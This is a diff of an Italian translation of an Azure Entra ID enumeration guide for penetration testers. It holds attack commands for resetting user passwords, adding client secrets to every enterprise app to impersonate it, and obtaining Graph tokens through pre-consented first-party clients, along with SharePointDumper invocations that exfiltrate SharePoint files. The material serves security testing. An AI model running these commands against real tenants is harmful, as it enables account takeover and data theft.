Ad esempio, uno **powershell script** che **autentica** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, un sysadmin potrebbe **bloccare quell'applicazione** in modo che gli utenti non possano accedere usando strumenti che si connettono tramite quell'App.
|
||||
Per esempio uno **powershell script** che **authenticates** usa un'app con client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Anche se l'app non appare nella console, uno **sysadmin** potrebbe **bloccare quell'applicazione** così gli utenti non possono accedere usando tool che si connettono tramite quell'App.
|
||||
|
||||
Tuttavia, ci sono **altri client-ids** di applicazioni che **ti permetteranno di connetterti ad Azure**:
|
||||
```bash
|
||||
@@ -227,7 +227,7 @@ az account tenant list
|
||||
|
||||
### Utenti
|
||||
|
||||
Per ulteriori informazioni sugli utenti Entra ID consulta:
|
||||
Per maggiori informazioni sugli utenti Entra ID consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -358,7 +358,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Cambiare la password dell'utente
|
||||
#### Cambia la password dell'utente
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
@@ -366,7 +366,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
|
||||
È fortemente raccomandato abilitare MFA per ogni utente; tuttavia alcune aziende non lo impostano o lo configurano tramite Conditional Access: all'utente verrà **richiesto MFA se** effettua l'accesso da una posizione, browser o altra condizione specifica. Queste policy, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
|
||||
È altamente consigliato abilitare MFA per ogni utente; tuttavia, alcune aziende non lo impostano oppure lo configurano con una Conditional Access: all'utente verrà **richiesto MFA se** effettua il login da una posizione specifica, browser o **in certe condizioni**. Queste policies, se non configurate correttamente, potrebbero essere soggette a **bypasses**. Controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -374,7 +374,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
|
||||
|
||||
### Gruppi
|
||||
|
||||
Per maggiori informazioni sui gruppi di Entra ID consulta:
|
||||
Per maggiori informazioni sui gruppi Entra ID consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### Aggiungi utente al gruppo
|
||||
|
||||
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo
|
||||
I proprietari del gruppo possono aggiungere nuovi utenti al gruppo.
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Ovviamente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, questo può permettere di abusare di questa funzionalità per **entrare in altri gruppi**.\
|
||||
> Controlla come abusare dei gruppi dinamici nella seguente pagina:
|
||||
> I gruppi possono essere dinamici, il che significa fondamentalmente che **se un utente soddisfa determinate condizioni verrà aggiunto a un gruppo**. Naturalmente, se le condizioni si basano su **attributi** che un **utente** può **controllare**, egli potrebbe abusare di questa funzionalità per **entrare in altri gruppi**.\
|
||||
> Consulta come abusare dei gruppi dinamici nella pagina seguente:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Per maggiori informazioni sui service principals di Entra ID consulta:
|
||||
Per maggiori informazioni sui Service Principals di Entra ID consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elenca e prova ad aggiungere un client secret su ogni Enterprise App</summary>
|
||||
<summary>Elenca e prova ad aggiungere un client secret per ogni Enterprise App</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -717,8 +717,8 @@ Per maggiori informazioni sulle Applicazioni consulta:
|
||||
|
||||
Quando viene generata un'App vengono assegnati 2 tipi di autorizzazioni:
|
||||
|
||||
- **Permissions** assegnate al **Service Principal**
|
||||
- **Permissions** che la **app** può avere e utilizzare per conto dell'**utente**.
|
||||
- **Autorizzazioni** assegnate al **Service Principal**
|
||||
- **Autorizzazioni** che l'**app** può avere e usare per **conto dell'utente**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Trova tutte le applicazioni con autorizzazioni API per API non-Microsoft (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalare a Global Admin** concedendosi il ruolo.\
|
||||
> Per maggiori informazioni [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
> Un'app con il permesso **`AppRoleAssignment.ReadWrite`** può **escalate to Global Admin** concedendosi quel ruolo.\
|
||||
> Per maggiori informazioni [**vedi**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> Una stringa segreta che l'applicazione usa per dimostrare la propria identità quando richiede un token è l'application password.\
|
||||
> Quindi, se trovi questa **password** puoi accedere come **service principal** all'interno del **tenant**.\
|
||||
> Una stringa segreta che l'application usa per dimostrare la sua identità quando richiede un token è la application **password**.\
|
||||
> Quindi, se trovi questa **password** puoi accedere come il **service principal** **inside** il **tenant**.\
|
||||
> Nota che questa password è visibile solo al momento della generazione (puoi cambiarla ma non puoi ottenerla di nuovo).\
|
||||
> Il **proprietario** dell'**applicazione** può **aggiungere una password** ad essa (così può impersonarla).\
|
||||
> Gli accessi come questi **service principal** non sono **segnalati come rischiosi** e non avranno **MFA**.
|
||||
> Il **owner** della **application** può **add a password** ad essa (quindi può impersonarla).\
|
||||
> I login come questi service principals sono **not marked as risky** e **won't have MFA.**
|
||||
|
||||
È possibile trovare una lista di App IDs comunemente usati che appartengono a Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Per maggiori informazioni su Managed Identities consulta:
|
||||
For more information about Managed Identities check:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -937,7 +1012,7 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID Roles
|
||||
### Ruoli di Entra ID
|
||||
|
||||
Per maggiori informazioni sui ruoli di Azure consulta:
|
||||
|
||||
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti da AzureAD potranno **accedere**.\
|
||||
> Inoltre, se l'utente loggato è **Owner** del dispositivo, sarà **local admin**.
|
||||
> Se un dispositivo (VM) è **AzureAD joined**, gli utenti di AzureAD potranno **effettuare il login**.\
|
||||
> Inoltre, se l'utente connesso è **Owner** del dispositivo, sarà **amministratore locale**.
|
||||
|
||||
### Unità amministrative
|
||||
|
||||
@@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Esfiltrazione di dati SharePoint delegata via Microsoft Graph (SharePointDumper)
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **pull file contents** via **SharePoint pre-authentication download URLs** (time-limited URLs embedding an access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e produce telemetria per richiesta utile al testing delle rilevazioni.
|
||||
Gli attaccanti in possesso di un **delegated Microsoft Graph token** che include **`Sites.Read.All`** o **`Sites.ReadWrite.All`** possono enumerare **sites/drives/items** tramite Graph e poi **estrarre i contenuti dei file** tramite **SharePoint pre-authentication download URLs** (URL a tempo che incorporano un access token). Lo script [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizza l'intero flusso (enumeration → pre-auth downloads) e fornisce telemetria per richiesta per i test di rilevamento.
|
||||
|
||||
### Ottenere token delegati utilizzabili
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper stesso **does not authenticate**; fornire un access token (opzionalmente un refresh token).
|
||||
- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempi di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
- SharePointDumper di per sé **non esegue l'autenticazione**; fornisci un access token (opzionalmente refresh token).
|
||||
- Client **first-party** pre-consentiti possono essere abusati per ottenere un Graph token senza registrare un'app. Esempio di invocazioni `Invoke-Auth` (da [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)):
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1122,9 +1197,9 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
> [!NOTE]
|
||||
> I client FOCI TRUE supportano il refresh tra dispositivi; i client FOCI FALSE spesso richiedono `-Origin` per soddisfare la validazione dell'origine della reply URL.
|
||||
|
||||
### Esecuzione di SharePointDumper per enumeration + exfiltration
|
||||
### Eseguire SharePointDumper per enumeration + exfiltration
|
||||
|
||||
- Basic dump con UA / proxy / throttling personalizzati:
|
||||
- Dump di base con custom UA / proxy / throttling:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
@@ -1132,20 +1207,20 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Riprendi** le esecuzioni interrotte (esegue nuovamente l'enumerazione ma salta gli elementi già scaricati):
|
||||
- **Riprendi** esecuzioni interrotte (rienumera ma salta gli elementi già scaricati):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Aggiornamento automatico del token su HTTP 401** (richiede EntraTokenAid caricato):
|
||||
- **Aggiornamento automatico del token su HTTP 401** (richiede che EntraTokenAid sia caricato):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Operational notes:
|
||||
Note operative:
|
||||
|
||||
- Preferisce **token abilitati CAE** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
|
||||
- Genera **log di richieste CSV/JSON** per **Graph + SharePoint** e oscura i token di download di SharePoint incorporati per impostazione predefinita (attivabile/disattivabile).
|
||||
- Supporta **User-Agent** personalizzato, **HTTP proxy**, **delay + jitter per richiesta**, e spegnimento sicuro con **Ctrl+C** per il traffic shaping durante test di detection/IR.
|
||||
- Preferisce token **CAE-enabled** per evitare scadenze a metà esecuzione; i tentativi di refresh **non** vengono registrati nel log API dello strumento.
|
||||
- Genera log di richieste **CSV/JSON** per **Graph + SharePoint** e oscura per default i token di download embedded di SharePoint (configurabile).
|
||||
- Supporta **User-Agent** personalizzato, **HTTP proxy**, **per-request delay + jitter**, e spegnimento sicuro con **Ctrl+C** per shaping del traffico durante test di detection/IR.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
@@ -1159,16 +1234,16 @@ Operational notes:
|
||||
../az-privilege-escalation/az-authorization-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Meccanismi difensivi
|
||||
## Meccanismi di difesa
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure aiuta a **prevenire l'assegnazione eccessiva di privilegi** agli utenti quando non necessario.
|
||||
Privileged Identity Management (PIM) in Azure aiuta a **impedire che vengano assegnati privilegi eccessivi** agli utenti inutilmente.
|
||||
|
||||
Una delle funzionalità principali di PIM è che permette di non assegnare ruoli a principal che sono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo in cui necessita del privilegio (es. 3 ore). Quindi un **admin deve approvare** la richiesta.\
|
||||
Nota che l'utente può anche richiedere di **estendere** il tempo.
|
||||
Una delle funzionalità principali offerte da PIM è che permette di non assegnare ruoli a principal che rimangono costantemente attivi, ma di renderli **eleggibili per un periodo di tempo (es. 6 mesi)**. Quando l'utente vuole attivare quel ruolo, deve richiederlo indicando il tempo per cui necessita del privilegio (es. 3 ore). Poi un **admin deve approvare** la richiesta.
|
||||
Nota che l'utente potrà anche chiedere di **estendere** la durata.
|
||||
|
||||
Inoltre, **PIM invia email** ogni volta che un ruolo privilegiato viene assegnato a qualcuno.
|
||||
Inoltre, **PIM invia email** ogni volta che viene assegnato un ruolo privilegiato a qualcuno.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -1176,16 +1251,16 @@ Quando PIM è abilitato è possibile configurare ogni ruolo con requisiti come:
|
||||
|
||||
- Durata massima (ore) dell'attivazione
|
||||
- Richiedere MFA all'attivazione
|
||||
- Richiedere Conditional Access authentication context
|
||||
- Richiedere il contesto di autenticazione di Conditional Access
|
||||
- Richiedere una giustificazione all'attivazione
|
||||
- Richiedere informazioni sul ticket all'attivazione
|
||||
- Richiedere approvazione per l'attivazione
|
||||
- Tempo massimo per la scadenza delle assegnazioni elegibili
|
||||
- Molte altre configurazioni su quando e a chi inviare notifiche quando si verificano determinate azioni relative a quel ruolo
|
||||
- Richiedere approvazione per attivare
|
||||
- Tempo massimo per la scadenza delle assegnazioni eleggibili
|
||||
- Molte altre configurazioni su quando e a chi inviare notifiche quando certe azioni avvengono su quel ruolo
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
Vedi:
|
||||
Check:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1193,19 +1268,19 @@ Vedi:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un tentativo di accesso è troppo rischioso** per essere accettato, consentendo di **bloccare** l'utente o il tentativo di accesso.
|
||||
Entra Identity Protection è un servizio di sicurezza che permette di **rilevare quando un utente o un sign-in sono troppo rischiosi** per essere accettati, consentendo di **bloccare** l'utente o il tentativo di accesso.
|
||||
|
||||
Consente all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
|
||||
Permette all'admin di configurarlo per **bloccare** i tentativi quando il rischio è "Low and above", "Medium and above" o "High". Tuttavia, di default è completamente **disabilitato**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Oggi si raccomanda di aggiungere queste restrizioni tramite Conditional Access policies dove è possibile configurare le stesse opzioni.
|
||||
> Oggi è consigliato aggiungere queste restrizioni tramite le Conditional Access policies dove è possibile configurare le stesse opzioni.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.\
|
||||
Consente inoltre di **bloccare una lista personalizzata di password** che è necessario fornire.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) è una funzionalità di sicurezza che **aiuta a prevenire l'abuso di password deboli bloccando gli account quando si verificano diversi tentativi di accesso non riusciti**.
|
||||
Permette inoltre di **bandire una lista personalizzata di password** che devi fornire.
|
||||
|
||||
Può essere **applicato sia** a livello cloud che su Active Directory on-premises.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user